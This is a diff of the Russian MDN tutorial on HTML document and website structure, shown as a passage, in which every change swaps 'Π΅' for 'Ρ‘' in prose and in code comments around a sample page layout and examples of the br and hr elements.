Π²Ρ‚ΠΎΡ€ΠΈΡ‡Π½Π° для самого Π²Π΅Π±-сайта. НиТний ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ» Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠ½ΠΎΠ³Π΄Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для {{Glossary("SEO")}} Ρ†Π΅Π»Π΅ΠΉ, прСдоставляя ссылки для быстрого доступа ΠΊ популярному ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Ρƒ.</dd>
</dl>
@@ -56,7 +56,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π°_Π΄ΠΎΠΊΡƒΠΌ
<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ€, ΠΏΠΎΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ свСрху, Π½Π΅ красив ΠΈ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π΅Π½, Π½ΠΎ идСально ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΈΡ‚ для ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡ Ρ‚ΠΈΠΏΠΈΡ‡Π½ΠΎΠ³ΠΎ ΠΌΠ°ΠΊΠ΅Ρ‚Π° Π²Π΅Π±-сайта.Β Π£ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π²Π΅Π±-сайтов большС ΠΊΠΎΠ»ΠΎΠ½ΠΎΠΊ, Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ β€”Β Π±ΠΎΠ»Π΅Π΅ слоТныС, Π½ΠΎ идСю Π’Ρ‹ поняли. Π‘ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΌ CSS Π’Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ практичСски Π»ΡŽΠ±Ρ‹Π΅ элСмСнты для обёртывания Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ€Π°Π·Π΄Π΅Π»ΠΎΠ² ΠΈ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Π’Π°ΠΌ хочСтся, Π½ΠΎ,Β ΠΊΠ°ΠΊ ΠΎΠ±ΡΡƒΠΆΠ΄Π°Π»ΠΎΡΡŒ Ρ€Π°Π½Π΅Π΅, Π½Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠ²Π°ΠΆΠ°Ρ‚ΡŒ сСмантику ΠΈ <strong>ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ элСмСнт для ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ Ρ€Π°Π±ΠΎΡ‚Ρ‹</strong>.Β </p>
-<p>Π­Ρ‚ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ эффСкты β€” это Π΅Ρ‰Ρ‘ Π½Π΅ самоС Π³Π»Π°Π²Π½ΠΎΠ΅. ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ†Π²Π΅Ρ‚ ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° для привлСчСния внимания посСтитСлСй ΠΊ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ частям содСрТимого, Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ΅ мСню ΠΈΠ»ΠΈ связанныС ссылки, Π½ΠΎ Ρ‡Ρ‚ΠΎ насчСт людСй со слабым Π·Ρ€Π΅Π½ΠΈΠ΅ΠΌ, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, для ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… концСпция "Ρ€ΠΎΠ·ΠΎΠ²ΠΎΠ³ΠΎ" ΠΈ "большого ΡˆΡ€ΠΈΡ„Ρ‚Π°" Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ?</p>
+<p>Π­Ρ‚ΠΎ ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π²ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½Ρ‹Π΅ эффСкты β€” это Π΅Ρ‰Ρ‘ Π½Π΅ самоС Π³Π»Π°Π²Π½ΠΎΠ΅. ΠœΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ Ρ†Π²Π΅Ρ‚ ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ ΡˆΡ€ΠΈΡ„Ρ‚Π° для привлСчСния внимания посСтитСлСй ΠΊ Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ частям содСрТимого, Ρ‚Π°ΠΊΠΎΠ³ΠΎ ΠΊΠ°ΠΊ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠ΅ мСню ΠΈΠ»ΠΈ связанныС ссылки, Π½ΠΎ Ρ‡Ρ‚ΠΎ насчёт людСй со слабым Π·Ρ€Π΅Π½ΠΈΠ΅ΠΌ, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, для ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… концСпция "Ρ€ΠΎΠ·ΠΎΠ²ΠΎΠ³ΠΎ" ΠΈ "большого ΡˆΡ€ΠΈΡ„Ρ‚Π°" Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ?</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Π›ΡŽΠ΄ΠΈ с Π΄Π°Π»ΡŒΡ‚ΠΎΠ½ΠΈΠ·ΠΌΠΎΠΌ ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΎΠΊΠΎΠ»ΠΎ <a href="http://www.color-blindness.com/2006/04/28/colorblind-population/">8% ΠΌΠΈΡ€ΠΎΠ²ΠΎΠ³ΠΎ насСлСния</a>. Π‘Π»Π΅ΠΏΡ‹Π΅ ΠΈ слабовидящиС люди ΡΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ 4-5% насСлСния ΠΌΠΈΡ€Π° (Π² 2012 Π³ΠΎΠ΄Ρƒ Π² ΠΌΠΈΡ€Π΅ Π±Ρ‹Π»ΠΎ <a href="https://en.wikipedia.org/wiki/Visual_impairment">285 ΠΌΠΈΠ»Π»ΠΈΠΎΠ½ΠΎΠ² Ρ‚Π°ΠΊΠΈΡ… людСй</a>, Π° общая Ρ‡ΠΈΡΠ»Π΅Π½Π½ΠΎΡΡ‚ΡŒ насСлСния составляла <a href="https://en.wikipedia.org/wiki/World_human_population#/media/File:World_population_history.svg">ΠΎΠΊΠΎΠ»ΠΎ 7 ΠΌΠΈΠ»Π»ΠΈΠ°Ρ€Π΄ΠΎΠ²</a>).</p>
@@ -76,7 +76,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π°_Π΄ΠΎΠΊΡƒΠΌ
<h3 id="АктивноС_ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅_исслСдованиС_ΠΊΠΎΠ΄Π°_для_нашСго_ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°">АктивноС ΠΎΠ±ΡƒΡ‡Π΅Π½ΠΈΠ΅: исслСдованиС ΠΊΠΎΠ΄Π° для нашСго ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°</h3>
-<p>Наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€, прСдставлСнный Π²Ρ‹ΡˆΠ΅, содСрТит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ (Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/document_and_website_structure/index.html">Π½Π°ΠΉΡ‚ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² нашСм Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ Github</a>). ΠœΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π’Ρ‹ взглянули Π½Π° ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π° Π·Π°Ρ‚Π΅ΠΌ просмотрСли ΠΊΠΎΠ΄ Π½ΠΈΠΆΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΈΠ· каких частСй ΠΎΠ½ состоит.</p>
+<p>Наш ΠΏΡ€ΠΈΠΌΠ΅Ρ€, прСдставлСнный Π²Ρ‹ΡˆΠ΅, содСрТит ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ (Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/document_and_website_structure/index.html">Π½Π°ΠΉΡ‚ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² нашСм Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ Github</a>). ΠœΡ‹ Ρ…ΠΎΡ‚Π΅Π»ΠΈ Π±Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π’Ρ‹ взглянули Π½Π° ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π° Π·Π°Ρ‚Π΅ΠΌ просмотрСли ΠΊΠΎΠ΄ Π½ΠΈΠΆΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ·Π½Π°Ρ‚ΡŒ, ΠΈΠ· каких частСй ΠΎΠ½ состоит.</p>
<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
&lt;html&gt;
@@ -108,7 +108,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π°_Π΄ΠΎΠΊΡƒΠΌ
&lt;li&gt;&lt;a href="#"&gt;ΠšΠΎΠ½Ρ‚Π°ΠΊΡ‚Ρ‹&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
- &lt;!-- Π€ΠΎΡ€ΠΌΠ° поиска β€” это Π΅Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ распространСнный Π½Π΅Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉ способ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΏΠΎ Π²Π΅Π±-сайту. --&gt;
+ &lt;!-- Π€ΠΎΡ€ΠΌΠ° поиска β€” это Π΅Ρ‰Ρ‘ ΠΎΠ΄ΠΈΠ½ распространённый Π½Π΅Π»ΠΈΠ½Π΅ΠΉΠ½Ρ‹ΠΉ способ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΏΠΎ Π²Π΅Π±-сайту. --&gt;
&lt;form&gt;
&lt;input type="search" name="q" placeholder="Search query"&gt;
@@ -162,7 +162,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π°_Π΄ΠΎΠΊΡƒΠΌ
&lt;/body&gt;
&lt;/html&gt;</pre>
-<p>ΠŸΠΎΡ‚Ρ€Π°Ρ‚ΡŒΡ‚Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΊΠΎΠ΄ ΠΈ ΠΏΠΎΠ½ΡΡ‚ΡŒ Π΅Π³ΠΎ β€” ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΠ΄Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π’Π°ΠΌ Π² этом. ΠœΡ‹ Π½Π΅ просим Вас Π΄Π΅Π»Π°Ρ‚ΡŒ Π½ΠΈΡ‡Π΅Π³ΠΎ большС Π² этом ΡƒΡ€ΠΎΠΊΠ΅, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΊΠ»ΡŽΡ‡ ΠΊ пониманию ΠΌΠ°ΠΊΠ΅Ρ‚Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² написании осмыслСнной структуры HTML, Π° Π·Π°Ρ‚Π΅ΠΌ Π΅Ρ‘Β Ρ€Π°Π·Π²Ρ‘Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS. ΠœΡ‹ ΠΏΠΎΠ΄ΠΎΠΆΠ΄Π΅ΠΌ, ΠΏΠΎΠΊΠ° Π²Ρ‹ Π½Π΅ Π½Π°Ρ‡Π½Π΅Ρ‚Π΅ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ CSS-ΠΌΠ°ΠΊΠ΅Ρ‚ ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ Ρ‚Π΅ΠΌΡ‹ CSS.</p>
+<p>ΠŸΠΎΡ‚Ρ€Π°Ρ‚ΡŒΡ‚Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ врСмя, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΊΠΎΠ΄ ΠΈ ΠΏΠΎΠ½ΡΡ‚ΡŒ Π΅Π³ΠΎ β€” ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΠ΄Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π’Π°ΠΌ Π² этом. ΠœΡ‹ Π½Π΅ просим Вас Π΄Π΅Π»Π°Ρ‚ΡŒ Π½ΠΈΡ‡Π΅Π³ΠΎ большС Π² этом ΡƒΡ€ΠΎΠΊΠ΅, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΊΠ»ΡŽΡ‡ ΠΊ пониманию ΠΌΠ°ΠΊΠ΅Ρ‚Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² написании осмыслСнной структуры HTML, Π° Π·Π°Ρ‚Π΅ΠΌ Π΅Ρ‘Β Ρ€Π°Π·Π²Ρ‘Ρ€Ρ‚Ρ‹Π²Π°Π½ΠΈΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS. ΠœΡ‹ ΠΏΠΎΠ΄ΠΎΠΆΠ΄Ρ‘ΠΌ, ΠΏΠΎΠΊΠ° Π²Ρ‹ Π½Π΅ Π½Π°Ρ‡Π½Ρ‘Ρ‚Π΅ ΠΈΠ·ΡƒΡ‡Π°Ρ‚ΡŒ CSS-ΠΌΠ°ΠΊΠ΅Ρ‚ ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ Ρ‚Π΅ΠΌΡ‹ CSS.</p>
<h2 id="ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅_ΠΎΠ±_элСмСнтах_HTML_ΠΌΠ°ΠΊΠ΅Ρ‚Π°">ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎΠ± элСмСнтах HTML ΠΌΠ°ΠΊΠ΅Ρ‚Π°</h2>
@@ -178,7 +178,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π°_Π΄ΠΎΠΊΡƒΠΌ
<li>{{HTMLElement('footer')}} прСдставляСт собой Π³Ρ€ΡƒΠΏΠΏΡƒ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π° для страницы.</li>
</ul>
-<h3 id="НСсСмантичСскиС_ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΈ">НСсСмантичСскиС ΠΎΠ±Π΅Ρ€Ρ‚ΠΊΠΈ</h3>
+<h3 id="НСсСмантичСскиС_ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ">НСсСмантичСскиС ΠΎΠ±Ρ‘Ρ€Ρ‚ΠΊΠΈ</h3>
<p>Иногда Π’Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Ρ‚ΡŒΡΡ с ситуациСй, ΠΊΠΎΠ³Π΄Π° Π’Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΈΠ΄Π΅Π°Π»ΡŒΠ½Ρ‹ΠΉ сСмантичСский элСмСнт, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ элСмСнты вмСстС ΠΈΠ»ΠΈ ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚. Иногда Π’Π°ΠΌ просто Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠ³Ρ€ΡƒΠΏΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ нСсколько элСмСнтов вмСстС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΊ Π½ΠΈΠΌ, ΠΊΠ°ΠΊ ΠΊ Π΅Π΄ΠΈΠ½ΠΎΠΉ сущности, {{glossary("CSS")}} ΠΈΠ»ΠΈ {{glossary("JavaScript")}}. Для Ρ‚Π°ΠΊΠΈΡ… случаСв Π²Β HTML Π΅ΡΡ‚ΡŒ элСмСнты {{HTMLElement("div")}} ΠΈΒ {{HTMLElement("span")}}. Π’Π°ΠΌ слСдуСт ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… с подходящим Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β {{htmlattrxref('class')}} ΠΈΠ»ΠΈ {{htmlattrxref('id')}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ Π»Π΅Π³ΠΊΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΊ Π½ΠΈΠΌ доступ.</p>
@@ -216,7 +216,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π°_Π΄ΠΎΠΊΡƒΠΌ
<p>Π”Π²Π° элСмСнта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π’Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ пСриодичСски ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡƒΠ·Π½Π°Ρ‚ΡŒ ΠΎ Π½ΠΈΡ…: {{htmlelement("br")}} ΠΈ {{htmlelement("hr")}}:</p>
-<p><code>&lt;br&gt;</code> создаСт Ρ€Π°Π·Ρ€Ρ‹Π² строки Π² Π°Π±Π·Π°Ρ†Π΅, ΠΈ это СдинствСнный способ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΆΡ‘ΡΡ‚ΠΊΡƒΡŽ структуру Π² ситуации, ΠΊΠΎΠ³Π΄Π° Π’Π°ΠΌ Π½ΡƒΠΆΠ½Π° сСрия фиксированных ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΡ… строк, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² ΠΏΠΎΡ‡Ρ‚ΠΎΠ²ΠΎΠΌ адрСсС ΠΈΠ»ΠΈ стихотворСнии. ΠŸΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p><code>&lt;br&gt;</code> создаёт Ρ€Π°Π·Ρ€Ρ‹Π² строки Π² Π°Π±Π·Π°Ρ†Π΅, ΠΈ это СдинствСнный способ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΆΡ‘ΡΡ‚ΠΊΡƒΡŽ структуру Π² ситуации, ΠΊΠΎΠ³Π΄Π° Π’Π°ΠΌ Π½ΡƒΠΆΠ½Π° сСрия фиксированных ΠΊΠΎΡ€ΠΎΡ‚ΠΊΠΈΡ… строк, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π² ΠΏΠΎΡ‡Ρ‚ΠΎΠ²ΠΎΠΌ адрСсС ΠΈΠ»ΠΈ стихотворСнии. ΠŸΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre class="brush: html notranslate">&lt;p&gt;Π–ΠΈΠ»Π°-Π±Ρ‹Π»Π° Π΄Π΅Π²Ρ‡ΡƒΡˆΠΊΠ° НСлл,&lt;br&gt;
Π›ΡŽΠ±ΠΈΠ²ΡˆΠ°Ρ ΠΏΠΈΡΠ°Ρ‚ΡŒ HTML:&lt;br&gt;
@@ -230,7 +230,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π°_Π΄ΠΎΠΊΡƒΠΌ
Π•Ρ‘ сСмантика уТасна Π±Ρ‹Π»Π° β€”<br>
Она ΠΈ сама ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ ΠΌΠΎΠ³Π»Π°.</p>
-<p><code>&lt;hr&gt;</code> создаСт Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅Π»ΡŒ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ тСматичСскоС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ тСкста (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Ρ‚Π΅ΠΌΡ‹ ΠΈΠ»ΠΈ сцСны). Π’ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ ΠΎΠ½ просто ΠΏΠΎΡ…ΠΎΠΆ Π½Π° Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΡƒΡŽ линию. Π’ качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°:</p>
+<p><code>&lt;hr&gt;</code> создаёт Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅Π»ΡŒ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚ тСматичСскоС ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ тСкста (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ Ρ‚Π΅ΠΌΡ‹ ΠΈΠ»ΠΈ сцСны). Π’ΠΈΠ·ΡƒΠ°Π»ΡŒΠ½ΠΎ ΠΎΠ½ просто ΠΏΠΎΡ…ΠΎΠΆ Π½Π° Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΡƒΡŽ линию. Π’ качСствС ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°:</p>
<pre class="notranslate">&lt;p&gt;Π ΠΎΠ½ Π±Ρ‹Π» Π·Π°ΠΆΠ°Ρ‚ Π² ΡƒΠ³Π»Ρƒ адскими тварями. Он боялся, Π½ΠΎ Ρ‚Π²Ρ‘Ρ€Π΄ΠΎ Ρ€Π΅ΡˆΠΈΠ» Π·Π°Ρ‰ΠΈΡ‚ΠΈΡ‚ΡŒ своих Π΄Ρ€ΡƒΠ·Π΅ΠΉ, поднял свою Π²ΠΎΠ»ΡˆΠ΅Π±Π½ΡƒΡŽ ΠΏΠ°Π»ΠΎΡ‡ΠΊΡƒ ΠΈ приготовился ΠΊ Π±ΠΈΡ‚Π²Π΅, надСясь, Ρ‡Ρ‚ΠΎ справится со своим Π½Π΅ΡΡ‡Π°ΡΡ‚ΡŒΠ΅ΠΌ.&lt;/p&gt;
&lt;hr&gt;
@@ -249,7 +249,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘Ρ‚Ρ€ΡƒΠΊΡ‚ΡƒΡ€Π°_Π΄ΠΎΠΊΡƒΠΌ
<ol>
<li><span class="tlid-translation translation">Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Ρƒ вас Π±ΡƒΠ΄Π΅Ρ‚ нСсколько элСмСнтов, ΠΎΠ±Ρ‰ΠΈΡ… для Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° (Ссли Π½Π΅ всСх) страниц β€”Β Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, мСню Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΈ содСрТимого Π½ΠΈΠΆΠ½Π΅Π³ΠΎ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ»Π°. НапримСр, для сайта ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ Ρ…ΠΎΡ€ΠΎΡˆΠ°Ρ идСя Ρ€Π°Π·ΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒΒ ΠΊΠΎΠ½Ρ‚Π°ΠΊΡ‚Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅ Π² Π½ΠΈΠΆΠ½Π΅ΠΌ ΠΊΠΎΠ»ΠΎΠ½Ρ‚ΠΈΡ‚ΡƒΠ»Π΅ Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΉ страницС. Π‘ΠΎΡΡ‚Π°Π²ΡŒΡ‚Π΅ список элСмСнтов, общих для всСх страниц</span>. 